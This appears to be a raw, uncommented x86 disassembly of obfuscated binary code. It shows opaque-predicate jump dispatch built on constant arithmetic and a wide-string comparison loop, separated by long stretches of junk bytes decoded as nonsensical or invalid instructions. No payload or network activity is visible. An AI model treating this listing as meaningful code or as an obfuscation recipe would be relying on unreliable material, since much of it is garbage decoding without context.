cmp edx, dword [ebp - 0x178]
sbb eax, dword [ebp - 0x174]
jl 0x67b3e55e
mov eax, dword [ebp - 0x178]
xor eax, 0x5aa42
or eax, dword [ebp - 0x174]
je 0x67b3bc34
mov edx, 0x5aa42
mov eax, 0
cmp edx, dword [ebp - 0x178]
sbb eax, dword [ebp - 0x174]
jl 0x67b3e55e
mov eax, dword [ebp - 0x178]
xor eax, 0x584ef
or eax, dword [ebp - 0x174]
je 0x67b3a4b0
mov edx, 0x584ef
mov eax, 0
cmp edx, dword [ebp - 0x178]
sbb eax, dword [ebp - 0x174]
jl 0x67b3e55e
mov eax, dword [ebp - 0x178]
xor eax, 0x50947
or eax, dword [ebp - 0x174]
je 0x67b3cdd7
mov edx, 0x50947
mov eax, 0
cmp edx, dword [ebp - 0x178]
sbb eax, dword [ebp - 0x174]
jl 0x67b3e55e
mov eax, dword [ebp - 0x178]
xor eax, 0x4c664
or eax, dword [ebp - 0x174]
je 0x67b3b072
mov edx, 0x4c664
mov eax, 0
cmp edx, dword [ebp - 0x178]
sbb eax, dword [ebp - 0x174]
jl 0x67b3e55e
mov eax, dword [ebp - 0x178]
xor eax, 0x4b91f
or eax, dword [ebp - 0x174]
je 0x67b39ecf
mov edx, 0x4b91f
mov eax, 0
cmp edx, dword [ebp - 0x178]
sbb eax, dword [ebp - 0x174]
jl 0x67b3e55e
mov eax, dword [ebp - 0x178]
xor eax, 0x4662c
or eax, dword [ebp - 0x174]
je 0x67b3816a
mov edx, 0x4662c
mov eax, 0
cmp edx, dword [ebp - 0x178]
sbb eax, dword [ebp - 0x174]
jl 0x67b3e55e
mov eax, dword [ebp - 0x178]
xor eax, 0x3ba21
or eax, dword [ebp - 0x174]
je 0x67b38d2c
mov edx, 0x3ba21
mov eax, 0
cmp edx, dword [ebp - 0x178]
sbb eax, dword [ebp - 0x174]
jl 0x67b3e55e
mov eax, dword [ebp - 0x178]
xor eax, 0x2e0d9
or eax, dword [ebp - 0x174]
je 0x67b369e6
mov edx, 0x2e0d9
mov eax, 0
cmp edx, dword [ebp - 0x178]
sbb eax, dword [ebp - 0x174]
jl 0x67b3e55e
mov eax, dword [ebp - 0x178]
xor eax, 0x28782
or eax, dword [ebp - 0x174]
je 0x67b35843
mov edx, 0x28782
mov eax, 0
cmp edx, dword [ebp - 0x178]
sbb eax, dword [ebp - 0x174]
jl 0x67b3e55e
mov eax, dword [ebp - 0x178]
xor eax, 0x133dd
or eax, dword [ebp - 0x174]
je 0x67b375a8
mov edx, 0x133dd
mov eax, 0
cmp edx, dword [ebp - 0x178]
sbb eax, dword [ebp - 0x174]
jl 0x67b3e55e
mov eax, dword [ebp - 0x178]
xor eax, 0x24e8
or eax, dword [ebp - 0x174]
je 0x67b36405
mov eax, dword [ebp - 0x178]
xor eax, 0xf74d
or eax, dword [ebp - 0x174]
je 0x67b3874b
jmp 0x67b3e55e
inc ebx
lcall 0xb76b, 0xfc63cee9
dec ecx
int3
xor esi, dword [esi + 0x45]
loopne 0x67b35e84
push ebx
inc esi
invalid
lea eax, [edx]
pop eax
fisubr dword [ecx + 0x679c699]
add al, 0x2c
insb byte es:[edi], dx
mul esi
pop ss
ljmp 0x58e3
rcl dword [ebp + 0x279bcc90], 0xca
sbb al, 0xac
nop
insd dword es:[edi], dx
inc ebp
and dword [ebx + 0x575b9878], esp
ja 0x67b35e5f
xor dword [ecx + 0xa], ebx
mov bl, 0x35
mov bl, 0x68
add dword [edi + eax*4 + 0x65], ebx
fldcw word [ebx - 0x7b630d7f]
clc
inc esi
salc
ljmp 0x6b53
daa
popfd
aad 8
xchg esi, eax
neg byte [edi]
cmp al, 0x10
retf 0x3db7
sub eax, 0x721ff2d9
xor esp, dword [0xf4432e46]
retf
push ecx
minps xmm2, xmmword [ebp - 0x1a]
dec ebx
ja 0x67b36a23
cmp cl, ch
out 0x56, eax
jo 0x67b369a1
inc edx
inc edi
cmp eax, 0xb15676c8
or dl, byte fs:[eax + 0x7b79e9cc]
add byte [eax], al
xchg esp, eax
xchg edx, eax
xchg edx, eax
clc
xor esp, dword [ebx + ecx*4 - 0x148050b7]
popal
xor bh, dl
fdivr dword [edi - 0x2c056639]
insd dword es:[edi], dx
adc dh, dh
ja 0x67b369c8
sub dh, byte gs:[esi + 0x2b]
xor eax, 0x48dcdb09
xchg edi, eax
push edx
dec esp
or byte [ebx - 0xe], dh
mov esi, 0x4d8abdaa
mov dword [0xaa7c3907], eax
xor dword [edx - 0x20560997], ebx
jae 0x67b36a7c
pop esi
aaa
mov eax, dword [0xde3ce3d0]
cmp dword [esp + ebx*8], esp
invalid
movsd dword es:[edi], dword [esi]
pop es
into
out 0x75, al
inc ebp
push edi
movsb byte es:[edi], byte [esi]
int 0xc0
pushal
clc
sbb eax, esp
adc byte es:[eax], ah
mov dl, 0x55
push 0xb04c27
mov al, 0
jle 0x67b36a93
js 0x67b36ada
daa
in al, 0xae
xchg esp, eax
adc dword [edx + 0x49b34502], esp
cwde
mov esi, 0x2708afd
jmp 0x3443bf05
retf
fdivr dword [edi]
jne 0x67b36af9
mov ch, 0x35
dec ecx
invalid
fcomp qword [ebx + 0x6b]
pop esp
cmp eax, dword [ebx + 0xa9f7e4c]
rcl byte [ecx - 0x61], 0x45
mov cl, 0x50
wait
fcom qword [edx]
push 0xcc90165f
mov dh, 0x8d
xor edx, esp
mov ebp, 0x992d7f4e
mov dh, byte [ebx + edx]
out 0xf7, al
rcr edx, 1
in al, dx
sti
jge 0x67b36ace
add al, 0x10
dec ecx
pop eax
xor bh, byte [esi]
out dx, al
stosd dword es:[edi], eax
fld dword [ecx]
hlt
imul ebp, edi, 0x24
in al, 0xf9
sub ecx, dword [esi]
mov fs, word [edx]
inc edi
xor eax, 0x59e72053
pop es
int 0xf5
pop ds
dec esp
retf 0x5fb3
xchg ebx, eax
cmp al, cl
mov esi, 0xf876aa53
push ebx
stosb byte es:[edi], al
jbe 0x67b37590
inc ecx
mov ecx, 0x1de36157
xor al, al
scasd eax, dword es:[edi]
nop
int3
loope 0x67b37594
adc dword [edx + 0x37698547], edx
bound esp, qword [ebx - 0x39]
xchg bx, ax
sub al, byte [ebx - 0x4ad63559]
popfd
mov ch, 0x93
cvtps2pi mm5, qword [edi]
invalid
retf
jmp 0xa58a323d
invalid
cmp dword [edi + 0x6a], ecx
jp 0x67b38727
and al, 0x79
and ch, ah
mov ebx, 0x84e80df8
sar dword [esi + ecx], 0x16
xor eax, 0xe5fd018a
xor eax, dword [ebx - 0x7be6132c]
adc ch, byte [ecx]
hlt
dec esp
xor dword [ecx], 0x3074e918
push 0x30d36d04
lodsb al, byte [esi]
xchg esp, eax
jmp 0x8d33af9a
iretd
iretd
out 0xb2, eax
out 0x26, al
shr byte [ebx + ebp*2 - 0x3b], cl
sal eax, 0x7c
or dword [edx + 0x37452cb6], ecx
idiv ah
fisubr dword [edi - 0x6f6be141]
int3
dec esi
js 0x67b39eb0
aad 0xc1
iretd
pop esp
jne 0x67b3a4da
invalid
jl 0x67b3a4f3
mov edx, 0x71f77a2c
xlatb
div dword [ecx - 0x29]
into
leave
mov eax, 0x8b4d84c9
dec ebp
ja 0x67b3a534
loopne 0x67b3a4e0
jae 0x67b3a56d
dec eax
insb byte es:[edi], dx
lahf
mov edi, 0x1f9bfa03
int3
aam 0
nop
int3
shl dword [ebx], cl
pop esi
fldenv [edi - 0x43b7cb12]
fadd qword [eax]
and byte [eax - 0x13], cl
lcall 0xb8e4, 0x57c6c9a9
in eax, 0xbb
div dword [edi + 0x10]
inc ecx
sal dword [esp + ecx*4 + 0x32], cl
push es
sub al, 0x5e
sahf
stosd dword es:[edi], eax
inc esp
ror byte [ebp - 0x70], cl
xchg ebx, eax
rcl byte [edx + 0x57]
loop 0x67b3a56c
mov ecx, ecx
pop ss
push ds
cli
fcom qword [si]
jno 0x67b3a5a7
cmp dword [ecx - 0x55], ecx
dec ecx
stosd dword es:[edi], eax
mov dword ss:[eax - 0x7a], edi
jb 0x67b3a510
nop
int3
adc al, 0x31
push ss
mov ch, 0xa1
push cs
pop edx
rcl byte [ecx]
cld
ja 0x67b3a626
xor byte [eax + 0x28973d42], al
push esp
sub eax, esp
cmp esp, dword [esi + 0x71]
xchg esi, eax
cmp byte [eax + 0x37], 0x41
aaa
inc ecx
hlt
cmc
mov bl, 0xe3
sbb al, 0xe9
fcom dword [ebx]
xchg ebp, eax
inc ecx
stosd dword es:[edi], eax
aaa
sub dl, bh
dec esp
scasd eax, dword es:[edi]
jb 0x67b3a5c3
mov es, word [eax + 0x6c]
dec ecx
fcompi st(7)
sub dword [eax + 0x713cd6cc], edx
clc
lodsd eax, dword [esi]
movsb byte es:[edi], byte [esi]
leave
push ebx
idiv byte [ecx - 0x64e0f1b2]
test dword [edx - 0x1a95e4e8], ebp
xor dword [eax + ebp + 0x17], ebp
inc ecx
invalid
or dword [edx + 0x6d], esi
inc ebp
mov esp, 0xc21c6bcc
idiv dh
mov esp, 0x2a2cfb43
wait
xchg esp, eax
popal
dec ebx
pushal
and eax, 0x8d524560
pushal
push 0x1bd80740
xchg edx, eax
jle 0x67b3ab0f
jno 0x67b3ab16
sub eax, 0xd9497032
lahf
loopne 0x67b3aaed
or al, 0x53
popfd
xor eax, 0x70f2c36c
mov edi, 0x2ca0d243
out 0x95, eax
scasb al, byte es:[edi]
sbb dh, byte [eax - 0x1314fc6]
push edi
mov al, 0x84
aam 0x83
mov bh, 0x7e
pushfd
sub cl, byte [eax - 0x5d]
push es
xchg esp, eax
aaa
cmpsb byte [esi], byte es:[edi]
adc al, 0x4f
add ebx, dword [eax + 0x30]
mov dl, 0x7a
xor eax, 0xf0d9bc54
f2xm1
lodsd eax, dword [esi]
pop ebp
dec ebx
nop
int3
call 0xa9603a91
pushfd
cmp eax, 0x9b80bfcf
stc
je 0x67b3ab90
iretd
and al, 0xb4
cmc
clc
dec edi
std
in al, dx
test dword [ecx], ebx
lodsb al, byte [esi]
and dword [eax + 0x58], edi
outsd dx, dword [esi]
push cs
add eax, edx
int 0x92
inc edi
leave
test dword [edi], esi
inc byte [esi + ebp*8 - 0x60527b7b]
aam 0x8e
jb 0x67b3ab83
daa
dec ebx
dec edi
xchg ecx, eax
mov eax, 0x30f11a67
or byte [0x747569a8], ah
or eax, 0x5731a46d
adc dword [ebx - 0x70], edi
int3
cmp eax, 0xa431ab6a
cmp dl, byte [ecx + eax*4]
outsb dx, byte [esi]
mov cl, 0x58
push es
jle 0x67b3abf7
fcom st(2)
fcom st(2)
mov esi, 0x7c5547ba
mov cl, 0x30
inc ecx
or eax, 0x3f9be86c
nop
out dx, eax
lea eax, [ebp - 0x3cb3518f]
mov bh, 0xf9
xor esp, dword [eax - 0x223c6f51]
ja 0x67b3ab91
add byte [edx - 0x79], dh
or ch, byte [ecx - 0x75]
enter 0x6eb1, 0xffffffffffffff90
int3
stc
push edi
mov eax, 0xb64c34f2
outsd dx, dword [esi]
lodsb al, byte [esi]
les esp, [edx]
inc edx
push 0xffffffffffffff8f
lds eax, [ecx + 0x5909abec]
xor eax, 0x6350e12
adc cl, dh
dec ebp
mov ebx, edi
or ebx, eax
xor esp, dword [ebp + 0x2e]
iretd
int 0x9a
sbb dh, byte [edx]
cmc
pop ebp
xor esp, ebx
and edi, dword [ecx]
xchg al, al
nop
int3
stosb byte es:[edi], al
adc dword [esi], esp
mov byte [0x23aa5f06], 0x3d
aaa
adc ah, bl
jo 0x67b3b097
stosb byte es:[edi], al
jmp 0x67b3b05f
dec ebx
and byte [ecx], ah
fisubr word [eax + 0x19]
xchg edi, eax
in al, dx
push ecx
out 0x54, al
cmpsd dword [esi], dword es:[edi]
invalid
pop esi
mov al, byte [0xecf981c0]
mov byte [ecx - 0x6e61e74a], 0xc1
xchg edx, eax
scasb al, byte es:[edi]
cmp eax, 0xe34a674a
xchg dword [edi - 0x6c43f497], esi
add al, 6
or cl, dh
retf 0x13d7
ret
cmc
iretd
mov word [esi - 0x58], gs
jns 0x67b3c874
add dword [ecx - 0x59cdd435], 0x8c3e0d96
cmp ebx, dword [ecx + edi*2]
movsb byte es:[edi], byte [esi]
mov byte [0x10f0a518], al
adc eax, 0xc8ae3ce
stosd dword es:[edi], eax
or eax, esp
xor eax, dword [eax]
cmpsb byte [esi], byte es:[edi]
das
invalid
jmp 0xf75ef67f
xchg ebx, eax
adc dword [ecx], esp
sbb eax, dword [eax + 0x5b10d364]
invalid
ret
aad 0xaa
mov dh, 0xc7
in eax, 0xcc
sbb byte [ecx + 0x3639762b], 0xd5
aaa
lahf
inc ebp
imul byte [esi]
pushfd
sahf
call 0x7a80b54e
xchg ebx, eax
out dx, eax
out dx, al
xchg edi, eax
or eax, 0xa1a3f5ab
wait
jmp 0x67b3da04
xor ch, byte [ebp - 0x6d34aaf0]
mov edx, 0x1018cc93
dec ebx
cmp al, 0x5d
sti
pop ebx
out 0xde, eax
dec edi
add ch, byte [ebx]
mov bh, 0xfb
cmc
sbb ah, byte [ebx + 0x64]
xor byte [esi + ebx + 0x73], 0x3c
push ds
jae 0x67b3d9f5
and eax, 0x62cab763
outsb dx, byte [esi]
push esi
stosb byte es:[edi], al
jge 0x67b3d967
push esi
or al, byte [eax + edi*4]
sbb dword [ebx - 0x35], ebx
and dword [edx + 0x62], edx
jns 0x67b3d9f7
wait
and bh, byte gs:[esi]
fsub qword [edx + 0x43]
js 0x67b3d9b6
jecxz 0x67b3da21
inc ebp
out 0x54, eax
mov bl, 0xd8
pop ds
invalid
iretd
invalid
sub dword [ecx - 0xa8bbf13], 0xa232dbc
mov cl, byte [esi + 0x30250289]
pushal
js 0x67b3da82
insb byte es:[edi], dx
xchg ebx, eax
adc al, 0xc3
jnp 0x67b3da97
jp 0x67b3da91
jae 0x67b3da8a
imul edi, esi, 0x62
invalid
mov bh, 0xbc
inc edi
or byte [edi + 0x46], ch
invalid
stc
das
mov dl, 7
or eax, 0x4d95cc4b
insd dword es:[edi], dx
pop es
leave
adc edx, dword [eax - 0x74e6c834]
jae 0x67b3da1c
int3
pop esi
or dl, byte [eax]
xchg esi, eax
sbb al, 0x59
fsubr dword [edx - 0x24db2dac]
scasd eax, dword es:[edi]
add dword [edi - 0x10a99c9b], 0x7714f68e
pushfd
xchg ebx, eax
cli
inc eax
adc dword [esi + 0x52], ebp
imul ebp, dword [ecx - 0x144bf108], 0x2a890f18
mov eax, 0x9b8e0da2
out dx, eax
xchg esi, eax
jmp 0x67b3daa4
or eax, 0x96ef9b8e
and ebp, edx
scasb al, byte es:[edi]
enter 0x1afd, 0xfffffffffffffff5
bound edi, qword [esi - 0x3e8f1b53]
mov dword [0x4f1fb27e], eax
ljmp 0x62f5:0x1afdc8ae
jle 0x67b3da58
pop ds
dec edi
rol dword [eax + ecx], 1
arpl word [esi + 0x42], ax
jno 0x67b3db2d
mov byte [0x510d23a1], al
jno 0x67b3da52
cmc
jo 0x67b3da96
sar byte [edi], 0x39
insb byte es:[edi], dx
hlt
add ecx, ebp
movsb byte es:[edi], byte [esi]
mov cs, word [eax]
loope 0x67b3dba0
pop si
sub dword [eax], 0xf26dbff3
mov ebx, 0xebe7d932
mov eax, dword [0x2ff1a8f5]
mov byte [0x6665e95f], al
push edi
pop ds
mov dh, 0xbb
dec edi
lea ecx, [ecx + 0x12]
adc eax, 0x4416e3
retf 0xab86
out 0x72, al
iretd
pop eax
xchg dh, dl
pop edx
and dword [ebx - 0x6a410c95], edi
js 0x67b3ded1
xchg esi, eax
pop es
cdq
xchg ebp, eax
loopne 0x67b3def1
fst dword [0x74210700]
sbb eax, 0x27b12381
daa
push esi
sub eax, 0x2eaa0d4d
invalid
push 0xf1f39fee
test byte [ebx + eax*8], 0x95
mov edx, 0x84ed0b78
fisttp qword [edx - 0x6a03f3a9]
xchg ebp, eax
in al, 0x6a
inc ecx
wait
in eax, 0x30
push ebp
add byte [edi], cl
mov bl, 0x90
int3
or eax, 0xd52a050
push es
out dx, al
ficomp word [ebp - 0x4b]
cmp al, 0x3c
ja 0x67b3deb5
cmp ebx, ebp
loopne 0x67b3df04
inc ecx
cmc
jge 0x67b3df97
dec eax
aam 0xc9
xor ebx, dword [eax]
adc al, 0xcc
or al, 0x24
push ebx
retf 0x36aa
jae 0x67b3df1e
out dx, eax
imul edx, dword [eax + eax*8 + 0x6a], 0xffffffe5
clc
and ebp, dword [ebx + 0x5c4771af]
out 0x77, eax
mov bh, 0x11
fsubr st(4)
mov eax, 0x724d1e4e
and eax, 0x426d8cfb
insd dword es:[edi], dx
inc edx
push es
ret 0x3d28
nop
jmp 0x67b2b404
nop
jmp 0x67b2b404
mov eax, dword [ebp + 8]
lea edx, [eax - 2]
mov dword [ebp + 8], edx
add eax, 2
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
movzx eax, word [eax]
mov edx, dword [ebp + 0xc]
mov dword [ebp - 0x9c], edx
mov edx, dword [ebp - 0x9c]
movzx edx, word [edx]
mov word [ebp - 0xa], dx
cmp word [ebp - 0xa], ax
jne 0x67b4aff5
cmp word [ebp - 0xa], 0
jne 0x67b40a6d
mov dword [ebp - 0xf0], 0x366cc
mov dword [ebp - 0xec], 0
mov dword [ebp - 0xf8], 0x4ea9d
mov dword [ebp - 0xf4], 0
mov eax, dword [ebp - 0xf8]
mov edx, dword [ebp - 0xf4]
sub eax, dword [ebp - 0xf0]
sbb edx, dword [ebp - 0xec]
mov dword [ebp - 0x100], eax
mov dword [ebp - 0xfc], edx
mov eax, dword [ebp - 0x100]
xor eax, 0xcf9a8
or eax, dword [ebp - 0xfc]
je 0x67b3fea2
mov edx, 0xcf9a8
mov eax, 0
cmp edx, dword [ebp - 0x100]
sbb eax, dword [ebp - 0xfc]
jl 0x67b40a61
mov eax, dword [ebp - 0x100]
xor eax, 0xb3b8b
or eax, dword [ebp - 0xfc]
je 0x67b40483
mov edx, 0xb3b8b
mov eax, 0
cmp edx, dword [ebp - 0x100]
sbb eax, dword [ebp - 0xfc]
jl 0x67b40a61
mov eax, dword [ebp - 0x100]
xor eax, 0x8f232
or eax, dword [ebp - 0xfc]
je 0x67b3f2e0
mov edx, 0x8f232
mov eax, 0
cmp edx, dword [ebp - 0x100]
sbb eax, dword [ebp - 0xfc]
jl 0x67b40a61
mov eax, dword [ebp - 0x100]
xor eax, 0x8a015
or eax, dword [ebp - 0xfc]
je 0x67b3f8c1
mov edx, 0x8a015
mov eax, 0
cmp edx, dword [ebp - 0x100]
sbb eax, dword [ebp - 0xfc]
jl 0x67b40a61
mov eax, dword [ebp - 0x100]
xor eax, 0x3f600
or eax, dword [ebp - 0xfc]
je 0x67b3e71e
mov edx, 0x3f600
mov eax, 0
cmp edx, dword [ebp - 0x100]
sbb eax, dword [ebp - 0xfc]
jl 0x67b40a61
mov eax, dword [ebp - 0x100]
xor eax, 0x183d1
or eax, dword [ebp - 0xfc]
je 0x67b40a67
mov eax, dword [ebp - 0x100]
xor eax, 0x2c09a
or eax, dword [ebp - 0xfc]
je 0x67b3ecff
jmp 0x67b40a61
push esp
mov ch, 0x9a
sbb byte [eax], bl
out 0xb, eax
inc ecx
push edi
dec edi
invalid
int 0x82
out 0x2e, al
ljmp 0xab66
xor bh, byte [ebx - 0x7ed0b334]
aad 0xb6
lea esp, [edx]
wait
loopne 0x67b3ecbb
scasd eax, dword es:[edi]
pop eax
dec edi
xchg ecx, eax
xchg esp, eax
dec esp
xor byte [edi - 0x62b9c1f8], ch
sub ebp, dword [esi + 0x79]
push ebx
in eax, dx
inc ebp
cli
retf 0x6dbb
xchg esp, eax
xchg si, ax
xor esi, dword [edi - 0x40]
aas
pop eax
mov bh, 0xed
cmp al, cl
movsb byte es:[edi], byte [esi]
inc ecx
xor byte [edi + 0x2d], cl
invalid
sub ecx, dword [eax - 0x4c]
rcl dword [eax + 0x11], cl
pushfd
mov ebx, 0x4cfd7468
pop ebx
outsb dx, byte [esi]
ljmp 0xeb73
cmc
cli
or dword [edx + 0x5d], esi
push ds
call 0xbaa563ca
mov ecx, edi
clc
push edx
mov dh, 0xb
enter 0x7330, 0xa
sub eax, dword [ebp - 0x43]
outsb dx, byte [esi]
push esp
imul ebx, eax, 0x43ed61ed
jne 0x67b3ff08
jmp 0x67b3fef7
adc dl, dh
mov bl, 9
les edi, [ecx]
mov ebx, 0x53f0b4d0
hlt
pop ecx
out 0x11, eax
sbb ah, byte [edi - 0x10]
nop
xor byte [ebx + 0x1d], 0x5a
dec edi
sti
ret 0x3517
jno 0x67b404e1
cmp byte [ecx + 0x22], dl
pop ebp
push esp
cmp byte [ebx + ebx*4], bl
pop es
xchg dword [esi + 0x5e], ebx
mov bh, 0xb0
xchg esi, eax
shr byte [ecx - 0x2f], 0x67
sub edx, esi
mov dword [eax + 9], edx
xchg edi, eax
fidivr word [ecx]
xchg ecx, eax
pushfd
shr dword [edx], 0xcd
dec esi
dec esp
jns 0x67b404fe
lodsb al, byte [esi]
sahf
sbb bl, byte [edx - 0x49]
pop edi
xchg ebx, eax
push ebx
xchg ecx, eax
stosd dword es:[edi], eax
jl 0x67b4050f
pop eax
adc ah, byte [ebp + 0x6d]
jmp 0x67b40488
loope 0x67b404e5
shl byte [eax + edx*4 - 0x34], 1
push ss
mov bh, byte [ebx]
fisub word [esi - 0x7bbc8c98]
xchg ebp, eax
mov byte [0xc423f5a4], bh
pop esi
cmp dword cs:[esi + ecx], edx
mov ebp, dword ds:[edi]
nop
int3
das
out dx, al
mov esp, 0x50100743
xor ebp, dword [edx - 0x71]
invalid
xlatb
bnd retf
nop
jmp 0x67b4ed92
nop
jmp 0x67b4ed92
mov dword [ebp - 0xa8], 0xe9968
mov dword [ebp - 0xa4], 0
mov dword [ebp - 0xb0], 0x4f406
mov dword [ebp - 0xac], 0
mov eax, dword [ebp - 0xa4]
imul eax, dword [ebp - 0xb0]
mov edx, eax
mov eax, dword [ebp - 0xac]
imul eax, dword [ebp - 0xa8]
lea ecx, [edx + eax]
mov eax, dword [ebp - 0xa8]
mul dword [ebp - 0xb0]
add ecx, edx
mov edx, ecx
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0xb4], edx
mov dword [ebp - 0xb8], eax
mov dword [ebp - 0xb4], edx
mov eax, dword [ebp - 0xb8]
xor eax, 0x502eb870
mov edx, dword [ebp - 0xb4]
xor edx, 0x48
or eax, edx
je 0x67b41d15
mov edx, 0x502eb870
mov eax, 0x48
cmp edx, dword [ebp - 0xb8]
sbb eax, dword [ebp - 0xb4]
jl 0x67b41d18
mov eax, dword [ebp - 0xb8]
xor eax, 0xb6d15
or eax, dword [ebp - 0xb4]
je 0x67b41737
mov edx, 0xb6d15
mov eax, 0
cmp edx, dword [ebp - 0xb8]
sbb eax, dword [ebp - 0xb4]
jl 0x67b41d18
mov eax, dword [ebp - 0xb8]
xor eax, 0x5d513
or eax, dword [ebp - 0xb4]
je 0x67b41156
mov eax, dword [ebp - 0xb8]
xor eax, 0x742a4
or eax, dword [ebp - 0xb4]
jne 0x67b41d18
wait
loope 0x67b40b97
xchg bx, ax
push esp
xchg edx, eax
lodsb al, byte [esi]
fst st(1)
xor al, 0x1a
pop esp
aam 0x71
fidivr dword [eax]
cmp dword [eax + 0x61fb782e], ecx
jmp 0x72f98229
or byte [ebx - 0x18fe1e47], 0x6c
stc
inc ebx
retf
or ebx, dword [esi]
ret 0x7732
movntq qword [edx], mm6
cwde
xor byte [ebp - 0x16b54712], 5
test bl, al
and al, 0xdc
xor dword [edi], ebx
adc dl, byte [eax - 0x68]
cmp esi, edx
xchg dword [edx - 0x9499092], esp
mov dh, 0xf6
mov byte [ebp + 0x3816d360], cl
xor dword [ebp + 0x7231af9d], esp
inc esi
adc dword [ebx], eax
inc edx
ja 0x67b410d8
pop ss
pop eax
mov dh, 0xd3
xchg ebx, eax
and al, 0x58
or dl, 0x2e
fcomp qword [edi]
bound ebx, qword [edi]
pop edx
invalid
jno 0x67b411c2
or dh, byte [esi - 0x25402d5e]
pop esp
sub eax, 0xcc3c51bf
cmp byte ds:[edx], 0xf3
inc eax
pop esi
aam 0x59
mov dh, byte [ebp - 0x12032e67]
dec ecx
js 0x67b41103
mov cl, byte [edx + 0x3c]
jecxz 0x67b4111f
sbb byte [ebx], bl
int1
jge 0x67b41182
jns 0x67b411c9
test dword [edi - 0x6c], edi
jg 0x67b41118
cmp ebp, dword [ebx + 0x2cecc918]
invalid
sub ecx, ebx
aam 0x1d
push eax
cmp bl, ch
xchg ch, ah
in al, dx
xchg byte [ebp - 0x5462ffb2], dl
mov dh, 0x2d
aam 0x86
cmp al, 0x52
adc eax, 0xea7d263
dec esp
out dx, eax
jmp 0xfef69805
sahf
pop es
dec ecx
cld
push ds
nop
int3
out 0x92, al
lea eax, [ebx - 0xf]
insd dword es:[edi], dx
and dh, byte [edx + edx + 0x6ad095de]
or dh, byte [eax - 0x231c5d09]
int 0x44
and eax, 0x7209f4e4
xchg byte [ecx - 0x5c], bl
sbb ah, byte fs:[edi + 0xc473c56]
and ebp, 0xe1f72be9
mov byte cs:[0x5320c85a], al
mov bl, 0xe9
xchg edx, eax
sbb eax, 0xda01817f
jge 0x67b4172b
mov dword [0x408768e7], eax
mov byte [0xfa278939], al
mov edx, dword [edx + 0x66]
cli
inc byte [edx + ecx*4 + 0x57be17c0]
stosb byte es:[edi], al
sub eax, 0x487f3aec
leave
movsb byte es:[edi], byte [esi]
invalid
nop
jmp 0x67b41d19
nop
add dword [ebp - 0x10], 2
mov eax, dword [ebp - 0x10]
movzx eax, word [eax]
add dword [ebp + 0xc], 2
mov edx, dword [ebp + 0xc]
movzx edx, word [edx]
mov word [ebp - 0xa], dx
cmp word [ebp - 0xa], ax
jne 0x67b4aff4
cmp word [ebp - 0xa], 0
jne 0x67b44217
mov dword [ebp - 0xd8], 0xe29a6
mov dword [ebp - 0xd4], 0
mov dword [ebp - 0xe0], 0xd383d
mov dword [ebp - 0xdc], 0
mov ecx, dword [ebp - 0xd8]
mov ebx, dword [ebp - 0xd4]
mov eax, dword [ebp - 0xe0]
mov edx, dword [ebp - 0xdc]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0xe8], eax
mov dword [ebp - 0xe4], edx
mov eax, dword [ebp - 0xe8]
xor eax, 0x1b61e3
or eax, dword [ebp - 0xe4]
je 0x67b4420b
mov edx, 0x1b61e3
mov eax, 0
cmp edx, dword [ebp - 0xe8]
sbb eax, dword [ebp - 0xe4]
jl 0x67b44211
mov eax, dword [ebp - 0xe8]
xor eax, 0xbda25
or eax, dword [ebp - 0xe4]
je 0x67b41ec8
mov edx, 0xbda25
mov eax, 0
cmp edx, dword [ebp - 0xe8]
sbb eax, dword [ebp - 0xe4]
jl 0x67b44211
mov eax, dword [ebp - 0xe8]
xor eax, 0x7cea8
or eax, dword [ebp - 0xe4]
je 0x67b43c2d
mov edx, 0x7cea8
mov eax, 0
cmp edx, dword [ebp - 0xe8]
sbb eax, dword [ebp - 0xe4]
jl 0x67b44211
mov eax, dword [ebp - 0xe8]
xor eax, 0x2f87c
or eax, dword [ebp - 0xe4]
je 0x67b4306b
mov edx, 0x2f87c
mov eax, 0
cmp edx, dword [ebp - 0xe8]
sbb eax, dword [ebp - 0xe4]
jl 0x67b44211
mov eax, dword [ebp - 0xe8]
xor eax, 0x22b44
or eax, dword [ebp - 0xe4]
je 0x67b4364c
mov edx, 0x22b44
mov eax, 0
cmp edx, dword [ebp - 0xe8]
sbb eax, dword [ebp - 0xe4]
jl 0x67b44211
invalid
mov eax, dword [ebp - 0xe8]
xor eax, 0x11708
or eax, dword [ebp - 0xe4]
je 0x67b42a8a
mov eax, dword [ebp - 0xe8]
xor eax, 0x1213a
or eax, dword [ebp - 0xe4]
je 0x67b424a9
jmp 0x67b44211
fisubr word [ebx]
in eax, 0x75
js 0x67b41e90
dec ecx
test al, 0xe
xchg byte [edi + 0x6414c692], ch
cmp byte [ecx], cl
aad 0xbb
fild word [esi - 0x64]
jecxz 0x67b41ef2
or al, 0x31
pop es
xchg edx, eax
stosb byte es:[edi], al
push ecx
invalid
mov al, byte [0xfd36443a]
sub dword [ebp + 0x70ba5ffd], ebp
inc ecx
scasd eax, dword es:[edi]
nop
hlt
div byte [0x4a3a171b]
lea eax, [ecx - 0x7d994548]
cmc
and edi, dword [0x37d29663]
scasd eax, dword es:[edi]
sub dword [0xb82b6553], esp
mov esi, 0x5029fc33
fld xword [esi - 0x185f1c95]
and edi, dword [esi - 0x67]
out dx, al
stosd dword es:[edi], eax
invalid
out 0xfa, eax
xchg esi, eax
cwde
cmpsb byte [esi], byte es:[edi]
cmp byte [ebx + 0x66f7c3d8], bl
dec edi
inc edx
xor cl, byte [eax + 0x27]
dec eax
daa
xor dword [esi], ecx
mov ebx, 0x75016884
inc ebx
invalid
jle 0x67b42a74
inc esp
xor eax, 0x193041b6
pop eax
push ecx
pop edi
test al, 0x61
mov ebx, 0x6e2ab8cc
aaa
mov ebp, 0x6e2ac67
push esp
cmc
loop 0x67b42a66
in eax, dx
retf 0xca36
xchg esi, eax
jno 0x67b43040
movsb byte es:[edi], byte [esi]
push 0x17
insd dword es:[edi], dx
dec esp
iretd
invalid
movsb byte es:[edi], byte [esi]
push es
sub ebx, dword [bp + di - 7]
and eax, 0xeb3bcb17
xchg ecx, eax
push cs
pop eax
jne 0x67b43029
jae 0x67b430e5
cld
sahf
lahf
add edi, eax
pop edx
sbb dword [esi - 0x5c], ebp
outsb dx, byte [esi]
movsb byte es:[edi], byte [esi]
xor dh, ch
shl byte [ebx - 0x6c], 0x52
jne 0x67b4302d
lodsd eax, dword [esi]
push ds
mov dword [0xcf007797], eax
jecxz 0x67b430d5
pop ecx
outsb dx, byte [si]
retf 0x66a0
imul dword [edx + 0x75]
adc esi, dword [ecx + 0x2ead3120]
push es
mov dword [0xcc90fbd8], eax
